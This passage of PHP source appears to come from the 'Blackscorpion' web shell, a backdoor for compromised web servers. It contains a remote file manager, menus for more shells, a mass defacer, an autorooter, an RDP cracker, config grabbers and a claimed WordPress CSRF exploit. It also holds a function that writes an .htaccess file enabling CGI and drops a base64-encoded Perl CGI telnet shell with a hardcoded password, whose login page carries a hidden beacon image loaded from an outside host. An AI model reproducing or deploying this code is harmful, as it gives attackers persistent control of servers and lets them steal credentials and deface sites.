  1482. 'perms' => BlackscorpionColor($GLOBALS['cwd'] . $dirContent[$i]),
  1483. 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
  1484. 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
  1485. 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
  1486. );
  1487. if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
  1488. $files[] = array_merge($tmp, array('type' => 'file'));
  1489. elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
  1490. $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
  1491. elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i]))
  1492. $dirs[] = array_merge($tmp, array('type' => 'dir'));
  1493. }
  1494. $GLOBALS['sort'] = $sort;
  1495. function BlackscorpionCmp($a, $b) {
  1496. if($GLOBALS['sort'][0] != 'size')
  1497. return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
  1498. else
  1499. return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
  1500. }
  1501. usort($files, "BlackscorpionCmp");
  1502. usort($dirs, "BlackscorpionCmp");
  1503. $files = array_merge($dirs, $files);
  1504. $l = 0;
  1505. foreach($files as $f) {
  1506. echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?BlackscorpionViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
  1507. .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
  1508. $l = $l?0:1;
  1509. }
  1510. echo "<tr><td colspan=5>
  1511. <input type=hidden name=a value='FilesMan'>
  1512. <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
  1513. <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
  1514. <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
  1515. if(class_exists('ZipArchive'))
  1516. echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
  1517. echo "<option value='tar'>Compress (tar.gz)</option>";
  1518. if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
  1519. echo "<option value='paste'>Paste / Compress</option>";
  1520. echo "</select>&nbsp;";
  1521. if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
  1522. echo "file name: <input type=text name=p2 value='Blackscorpion_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'>&nbsp;";
  1523. echo '</select>&nbsp;<input type="submit" value=">>"></td><br><td colspan="2" align="right" width="1">&nbsp;</td></tr>
  1524. </form></table></div>';
  1525. BlackscorpionFooter();
  1526. }
  1527.  
  1528. function actionShells() {
  1529. BlackscorpionHeader();
  1530. echo '<center><h1>Shells By Blackscorpion </h1></center><div class="content">
  1531. <br>
  1532. <table border="1%" align="center" cellpadding="10">
  1533. <tr>
  1534. <td>Click And Get The Shells</td>
  1535. <tr><td>
  1536. <form action="" method="post">
  1537. <input type = "submit" name="dhanush" value ="Dhanush Shell">
  1538. </td></tr>
  1539. <tr><td>
  1540. <form action="" method="post">
  1541. <input type = "submit" name="anonghosts" value ="AnonGhosts Shell"></td></tr>
  1542. <tr><td>
  1543. <form action="" method="post">
  1544. <input type = "submit" name="blackhat" value ="BlackHat Shell"></td></tr>
  1545. <tr><td>
  1546. <form action="" method="post">
  1547. <input type = "submit" name="imageshell" value ="Blackscorpion Image Shell"></td></tr>
  1548. <tr><td>
  1549. <form action="" method="post">
  1550. <input type = "submit" name="madspot" value ="Madspot Shell"></td></tr>
  1551. <tr><td>
  1552. <form action="" method="post">
  1553. <input type = "submit" name="pcd" value ="Pak Cyber Defenders Shell"></td></tr>
  1554. <tr><td>
  1555. <form action="" method="post">
  1556. <input type = "submit" name="cheta" value ="Kashimiri Cheetah Shell"></td></tr>
  1557. <tr><td>
  1558. <form action="" method="post">
  1559. <input type = "submit" name="1337worm" value ="1337 Worm Shell"></td></tr>
  1560. <tr><td>
  1561. <form action="" method="post">
  1562. <input type = "submit" name="b374k" value ="b374k Shell"></td></tr>
  1563. <tr><td>
  1564. <form action="" method="post">
  1565. <input type = "submit" name="joker" value ="Joker Shell"></td></tr></div>';
  1566. BlackscorpionFooter();
  1567. }
  1568. function actionTools(){
  1569. BlackscorpionHeader();
  1570. echo '<center><h1>Tools By Blackscorpion </h1></center><div class="content">
  1571. <br>
  1572. <table border="1%" align="center" cellpadding="10">
  1573. <tr>
  1574. <td>Click And Get The Tools</td>
  1575. <tr><td>
  1576. <form action="" method="post">
  1577. <input type = "submit" name="Symlinker" value ="Devil Killer Symlinker"></td></tr>
  1578. <tr><td>
  1579. <form action="" method="post">
  1580. <input type = "submit" name="uploader" value ="Uploader By Blackscorpion "></td></tr>
  1581. <tr><td>
  1582. <form action="" method="post">
  1583. <input type = "submit" name="mass" value ="Mass Defacer"></td></tr>
  1584. <tr><td>
  1585. <form action="" method="post">
  1586. <input type = "submit" name="BlackscorpionCmd" value ="AnonGhosts Console"></td></tr>
  1587. <tr><td>
  1588. <form action="" method="post">
  1589. <input type = "submit" name="madleets" value ="Madleets Console"></td></tr>
  1590. <tr><td>
  1591. <form action="" method="post">
  1592. <input type = "submit" name="rooter" value ="Autorooting Perl Script"></td></tr>
  1593. <tr><td>
  1594. <form action="" method="post">
  1595. <input type = "submit" name="cpc" value ="Control Panel Cracker"></td></tr></div>';
  1596. BlackscorpionFooter();
  1597. }
  1598.  
  1599. function actionpriv8(){
  1600. BlackscorpionHeader();
  1601. echo '<center><h1>Priv8 Tools By Black Scorp</h1></center><div class="content">
  1602. <br>
  1603. <table border="1%" align="center" cellpadding="10" class="input">
  1604. <tr>
  1605. <td>Just Click And Get The Tools</td>
  1606. <tr><td>
  1607. <form action="" method="post">
  1608. <input type = "submit" name="jumping" value ="Server Jumping" class="input"></td></tr>
  1609. <tr><td>
  1610. <form action="" method="post">
  1611. <input type = "submit" name="blackscorpionbypass" value ="2018 Bypass Shell by Blackscorpion" class="input"></td></tr>
  1612. <tr><td>
  1613. <form action="" method="post">
  1614. <input type = "submit" name="rdpcrack" value ="RDP Cracker by Blackscorpion" class="input"></td></tr>
  1615. <tr><td>
  1616. <form action="" method="post">
  1617. <input type = "submit" name="confg" value ="Config Grabber" class="input"></td></tr>
  1618. <tr><td>
  1619. <form action="" method="post">
  1620. <input type = "submit" name="shellfinder" value ="Shell Finder By Blackscorpion" class="input"></td></tr>
  1621. <tr><td>
  1622. <form action="" method="post">
  1623. <input type = "submit" name="csrf" value ="wp 0day exploit CSRF" class="input"></td></tr>
  1624. <tr><td>
  1625. <form action="" method="post">
  1626. <input type = "submit" name="joomre" value ="Joomla Reverse Ip" class="input"></td></tr>
  1627. <tr><td>
  1628. <form action="" method="post">
  1629. <input type = "submit" name="dogi" value ="Image Shell" class="input"></td></tr>
  1630. <tr><td>
  1631. <form action="" method="post">
  1632. <input type = "submit" name="minifud" value ="Fud Mini Shell" class="input"></td></tr>
  1633. <tr><td>
  1634. <form action="" method="post">
  1635. <input type = "submit" name="configgrabber1" value ="Config Grabber by Blackscorpion" class="input"></td></tr>
  1636. <tr><td>
  1637. <form action="" method="post">
  1638. <input type = "submit" name="ghaza" value ="Ghaza Shell" class="input"></td></tr>
  1639. <tr><td></div>';
  1640.  
  1641.  
  1642. BlackscorpionFooter();
  1643. }
  1644.  
  1645.  
  1646. function actionCgiShell() {
  1647. BlackscorpionHeader();
  1648. echo '<h1>Cgitelnet</h1><div class=content>';
  1649. mkdir('cgitelnet1', 0755);
  1650. chdir('cgitelnet1');
  1651. $kokdosya = ".htaccess";
  1652. $dosya_adi = "$kokdosya";
  1653. $dosya = fopen($dosya_adi, 'w') or die("Dosya a&#231;&#305;lamad&#305;!");
  1654. $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
  1655.  
  1656. AddType application/x-httpd-cgi .cin
  1657.  
  1658. AddHandler cgi-script .cin
  1659. AddHandler cgi-script .cin";
  1660. fwrite($dosya, $metin);
  1661. fclose($dosya);
  1662. $cgishellizocin = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWFpbg0KIy0tLS0tLS0tLS0tLS0tLS0t
  1663. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1664. LS0tLQ0KIyA8YiBzdHlsZT0iY29sb3I6YmxhY2s7YmFja2dyb3VuZC1jb2xvcjojZmZmZjY2Ij5w
  1665. cml2OCBjZ2kgc2hlbGw8L2I+ICMgc2VydmVyDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1666. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoNCiMt
  1667. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1668. LS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQ29uZmlndXJhdGlvbjogWW91IG5lZWQgdG8gY2hhbmdl
  1669. IG9ubHkgJFBhc3N3b3JkIGFuZCAkV2luTlQuIFRoZSBvdGhlcg0KIyB2YWx1ZXMgc2hvdWxkIHdv
  1670. cmsgZmluZSBmb3IgbW9zdCBzeXN0ZW1zLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1671. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KJFBhc3N3
  1672. b3JkID0gInByaXY4IjsJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhp
  1673. cw0KCQkJCSMgdG8gbG9naW4uDQoNCiRXaW5OVCA9IDA7CQkJIyBZb3UgbmVlZCB0byBjaGFuZ2Ug
  1674. dGhlIHZhbHVlIG9mIHRoaXMgdG8gMSBpZg0KCQkJCSMgeW91J3JlIHJ1bm5pbmcgdGhpcyBzY3Jp
  1675. cHQgb24gYSBXaW5kb3dzIE5UDQoJCQkJIyBtYWNoaW5lLiBJZiB5b3UncmUgcnVubmluZyBpdCBv
  1676. biBVbml4LCB5b3UNCgkJCQkjIGNhbiBsZWF2ZSB0aGUgdmFsdWUgYXMgaXQgaXMuDQoNCiROVENt
  1677. ZFNlcCA9ICImIjsJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1h
  1678. bmRzDQoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULg0KDQokVW5peENtZFNl
  1679. cCA9ICI7IjsJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRz
  1680. DQoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBVbml4Lg0KDQokQ29tbWFuZFRpbWVvdXREdXJh
  1681. dGlvbiA9IDEwOwkjIFRpbWUgaW4gc2Vjb25kcyBhZnRlciBjb21tYW5kcyB3aWxsIGJlIGtpbGxl
  1682. ZA0KCQkJCSMgRG9uJ3Qgc2V0IHRoaXMgdG8gYSB2ZXJ5IGxhcmdlIHZhbHVlLiBUaGlzIGlzDQoJ
  1683. CQkJIyB1c2VmdWwgZm9yIGNvbW1hbmRzIHRoYXQgbWF5IGhhbmcgb3IgdGhhdA0KCQkJCSMgdGFr
  1684. ZSB2ZXJ5IGxvbmcgdG8gZXhlY3V0ZSwgbGlrZSAiZmluZCAvIi4NCgkJCQkjIFRoaXMgaXMgdmFs
  1685. aWQgb25seSBvbiBVbml4IHNlcnZlcnMuIEl0IGlzDQoJCQkJIyBpZ25vcmVkIG9uIE5UIFNlcnZl
  1686. cnMuDQoNCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRh
  1687. IGlzIHNlbnQgdG8gdGhlDQoJCQkJIyBicm93c2VyIGFzIHNvb24gYXMgaXQgaXMgb3V0cHV0LCBv
  1688. dGhlcndpc2UNCgkJCQkjIGl0IGlzIGJ1ZmZlcmVkIGFuZCBzZW5kIHdoZW4gdGhlIGNvbW1hbmQN
  1689. CgkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UNCgkJCQkj
  1690. IHBpbmcsIHNvIHRoYXQgeW91IGNhbiBzZWUgdGhlIG91dHB1dCBhcyBpdA0KCQkJCSMgaXMgYmVp
  1691. bmcgZ2VuZXJhdGVkLg0KDQojIERPTidUIENIQU5HRSBBTllUSElORyBCRUxPVyBUSElTIExJTkUg
  1692. VU5MRVNTIFlPVSBLTk9XIFdIQVQgWU9VJ1JFIERPSU5HICEhDQoNCiRDbWRTZXAgPSAoJFdpbk5U
  1693. ID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOw0KJENtZFB3ZCA9ICgkV2luTlQgPyAiY2QiIDog
  1694. InB3ZCIpOw0KJFBhdGhTZXAgPSAoJFdpbk5UID8gIlxcIiA6ICIvIik7DQokUmVkaXJlY3RvciA9
  1695. ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOw0KDQojLS0tLS0tLS0tLS0t
  1696. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1697. LS0tLS0tLS0tDQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJz
  1698. ZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQNCiMgcGFyc2VzIEdFVCwgUE9TVCBhbmQgbXVsdGlw
  1699. YXJ0L2Zvcm0tZGF0YSB0aGF0IGlzIHVzZWQgZm9yIHVwbG9hZGluZyBmaWxlcy4NCiMgVGhlIGZp
  1700. bGVuYW1lIGlzIHN0b3JlZCBpbiAkaW57J2YnfSBhbmQgdGhlIGRhdGEgaXMgc3RvcmVkIGluICRp
  1701. bnsnZmlsZWRhdGEnfS4NCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAk
  1702. aW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YNCiMgdGhlIHZhcmlhYmxlLiBOb3Rl
  1703. OiBNb3N0IG9mIHRoZSBjb2RlIGluIHRoaXMgZnVuY3Rpb24gaXMgdGFrZW4gZnJvbSBvdGhlciBD
  1704. R0kNCiMgc2NyaXB0cy4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1705. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBSZWFkUGFyc2UgDQp7
  1706. DQoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsNCglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwp
  1707. Ow0KCQ0KCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0
  1708. aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOw0KDQoJaWYoJEVOVnsnUkVRVUVTVF9N
  1709. RVRIT0QnfSBlcSAiR0VUIikNCgl7DQoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9Ow0KCX0N
  1710. CgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikNCgl7DQoJCWJpbm1vZGUo
  1711. U1RESU4pIGlmICRNdWx0aXBhcnRGb3JtRGF0YSAmICRXaW5OVDsNCgkJcmVhZChTVERJTiwgJGlu
  1712. LCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsNCgl9DQoNCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBk
  1713. YXRhDQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBi
  1714. b3VuZGFyeT0oLispJC8pDQoJew0KCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZl
  1715. ciB0byBSRkMxODY3IA0KCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyANCgkJJEhl
  1716. YWRlckJvZHkgPSAkbGlzdFsxXTsNCgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOw0K
  1717. CQkkSGVhZGVyID0gJGA7DQoJCSRCb2R5ID0gJCc7DQogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMg
  1718. dGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlDQoJCSRpbnsnZmlsZWRhdGEnfSA9
  1719. ICRCb2R5Ow0KCQkkSGVhZGVyID1+IC9maWxlbmFtZT1cIiguKylcIi87IA0KCQkkaW57J2YnfSA9
  1720. ICQxOyANCgkJJGlueydmJ30gPX4gcy9cIi8vZzsNCgkJJGlueydmJ30gPX4gcy9ccy8vZzsNCg0K
  1721. CQkjIHBhcnNlIHRyYWlsZXINCgkJZm9yKCRpPTI7ICRsaXN0WyRpXTsgJGkrKykNCgkJeyANCgkJ
  1722. CSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOw0KCQkJJGxpc3RbJGldID1+IC9cIihcdyspXCIv
  1723. Ow0KCQkJJGtleSA9ICQxOw0KCQkJJHZhbCA9ICQnOw0KCQkJJHZhbCA9fiBzLyheKFxyXG5cclxu
  1724. fFxuXG4pKXwoXHJcbiR8XG4kKS8vZzsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4
  1725. KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gPSAkdmFsOyANCgkJfQ0KCX0NCgllbHNlICMgc3RhbmRh
  1726. cmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkNCgl7DQoJCUBpbiA9IHNw
  1727. bGl0KC8mLywgJGluKTsNCgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQ0KCQl7DQoJCQkkaW5bJGld
  1728. ID1+IHMvXCsvIC9nOw0KCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsN
  1729. CgkJCSRrZXkgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkdmFsID1+IHMv
  1730. JSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOw0KCQkJJGlueyRrZXl9IC49ICJcMCIgaWYgKGRl
  1731. ZmluZWQoJGlueyRrZXl9KSk7DQoJCQkkaW57JGtleX0gLj0gJHZhbDsNCgkJfQ0KCX0NCn0NCg0K
  1732. Iy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1733. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgUGFnZSBIZWFkZXINCiMg
  1734. QXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldA0K
  1735. Iy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1736. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50UGFnZUhlYWRlcg0Kew0KCSRFbmNvZGVk
  1737. Q3VycmVudERpciA9ICRDdXJyZW50RGlyOw0KCSRFbmNvZGVkQ3VycmVudERpciA9fiBzLyhbXmEt
  1738. ekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7DQoJcHJpbnQgIkNvbnRlbnQtdHlwZTog
  1739. dGV4dC9odG1sXG5cbiI7DQoJcHJpbnQgPDxFTkQ7DQo8aHRtbD4NCjxoZWFkPg0KPHRpdGxlPnBy
  1740. aXY4IGNnaSBzaGVsbDwvdGl0bGU+DQokSHRtbE1ldGFIZWFkZXINCg0KPG1ldGEgbmFtZT0ia2V5
  1741. d29yZHMiIGNvbnRlbnQ9InByaXY4IGNnaSBzaGVsbCAgXyAgICAgaTVfQGhvdG1haWwuY29tIj4N
  1742. CjxtZXRhIG5hbWU9ImRlc2NyaXB0aW9uIiBjb250ZW50PSJwcml2OCBjZ2kgc2hlbGwgIF8gICAg
  1743. aTVfQGhvdG1haWwuY29tIj4NCjwvaGVhZD4NCjxib2R5IG9uTG9hZD0iZG9jdW1lbnQuZi5AXy5m
  1744. b2N1cygpIiBiZ2NvbG9yPSIjRkZGRkZGIiB0b3BtYXJnaW49IjAiIGxlZnRtYXJnaW49IjAiIG1h
  1745. cmdpbndpZHRoPSIwIiBtYXJnaW5oZWlnaHQ9IjAiIHRleHQ9IiNGRjAwMDAiPg0KPHRhYmxlIGJv
  1746. cmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+DQo8
  1747. dHI+DQo8dGQgYmdjb2xvcj0iI0ZGRkZGRiIgYm9yZGVyY29sb3I9IiNGRkZGRkYiIGFsaWduPSJj
  1748. ZW50ZXIiIHdpZHRoPSIxJSI+DQo8Yj48Zm9udCBzaXplPSIyIj4jPC9mb250PjwvYj48L3RkPg0K
  1749. PHRkIGJnY29sb3I9IiNGRkZGRkYiIHdpZHRoPSI5OCUiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNp
  1750. emU9IjIiPjxiPiANCjxiIHN0eWxlPSJjb2xvcjpibGFjaztiYWNrZ3JvdW5kLWNvbG9yOiNmZmZm
  1751. NjYiPnByaXY4IGNnaSBzaGVsbDwvYj4gQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPC9iPjwvZm9u
  1752. dD48L3RkPg0KPC90cj4NCjx0cj4NCjx0ZCBjb2xzcGFuPSIyIiBiZ2NvbG9yPSIjRkZGRkZGIj48
  1753. Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4NCg0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9u
  1754. P2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+VXBs
  1755. b2FkIEZpbGU8L2ZvbnQ+PC9hPiB8IA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxv
  1756. YWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPjxmb250IGNvbG9yPSIjRkYwMDAwIj5Eb3dubG9hZCBG
  1757. aWxlPC9mb250PjwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij48Zm9u
  1758. dCBjb2xvcj0iI0ZGMDAwMCI+RGlzY29ubmVjdDwvZm9udD48L2E+IHwNCjwvZm9udD48L3RkPg0K
  1759. PC90cj4NCjwvdGFibGU+DQo8Zm9udCBzaXplPSIzIj4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0t
  1760. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1761. LS0tLS0tLS0tDQojIFByaW50cyB0aGUgTG9naW4gU2NyZWVuDQojLS0tLS0tLS0tLS0tLS0tLS0t
  1762. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1763. LS0tDQpzdWIgUHJpbnRMb2dpblNjcmVlbg0Kew0KCSRNZXNzYWdlID0gcSQ8L2ZvbnQ+PGgxPnBh
  1764. c3M9cHJpdjg8L2gxPjxmb250IGNvbG9yPSIjMDA5OTAwIiBzaXplPSIzIj48cHJlPjxpbWcgYm9y
  1765. ZGVyPSIwIiBzcmM9Imh0dHA6Ly93d3cucHJpdjguaWJsb2dnZXIub3JnL3MucGhwPytjZ2l0ZWxu
  1766. ZXQgc2hlbGwiIHdpZHRoPSIwIiBoZWlnaHQ9IjAiPjwvcHJlPg0KJDsNCiMnDQoJcHJpbnQgPDxF
  1767. TkQ7DQo8Y29kZT4NCg0KVHJ5aW5nICRTZXJ2ZXJOYW1lLi4uPGJyPg0KQ29ubmVjdGVkIHRvICRT
  1768. ZXJ2ZXJOYW1lPGJyPg0KRXNjYXBlIGNoYXJhY3RlciBpcyBeXQ0KPGNvZGU+JE1lc3NhZ2UNCkVO
  1769. RA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1770. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgbWVzc2FnZSB0aGF0
  1771. IGluZm9ybXMgdGhlIHVzZXIgb2YgYSBmYWlsZWQgbG9naW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0t
  1772. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1773. LS0NCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQ0Kew0KCXByaW50IDw8RU5EOw0KPGNvZGU+
  1774. DQo8YnI+bG9naW46IGFkbWluPGJyPg0KcGFzc3dvcmQ6PGJyPg0KTG9naW4gaW5jb3JyZWN0PGJy
  1775. Pjxicj4NCjwvY29kZT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1776. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50
  1777. cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1778. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpz
  1779. dWIgUHJpbnRMb2dpbkZvcm0NCnsNCglwcmludCA8PEVORDsNCjxjb2RlPg0KDQo8Zm9ybSBuYW1l
  1780. PSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCjxpbnB1dCB0eXBl
  1781. PSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+DQo8L2ZvbnQ+DQo8Zm9udCBzaXplPSIz
  1782. Ij4NCmxvZ2luOiA8YiBzdHlsZT0iY29sb3I6YmxhY2s7YmFja2dyb3VuZC1jb2xvcjojZmZmZjY2
  1783. Ij5wcml2OCBjZ2kgc2hlbGw8L2I+PGJyPg0KcGFzc3dvcmQ6PC9mb250Pjxmb250IGNvbG9yPSIj
  1784. MDA5OTAwIiBzaXplPSIzIj48aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InAiPg0KPGlucHV0
  1785. IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCjwvY29kZT4NCkVORA0KfQ0K
  1786. DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1787. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRN
  1788. TCBQYWdlDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1789. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlRm9vdGVyDQp7DQoJ
  1790. cHJpbnQgIjwvZm9udD48L2JvZHk+PC9odG1sPiI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0t
  1791. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
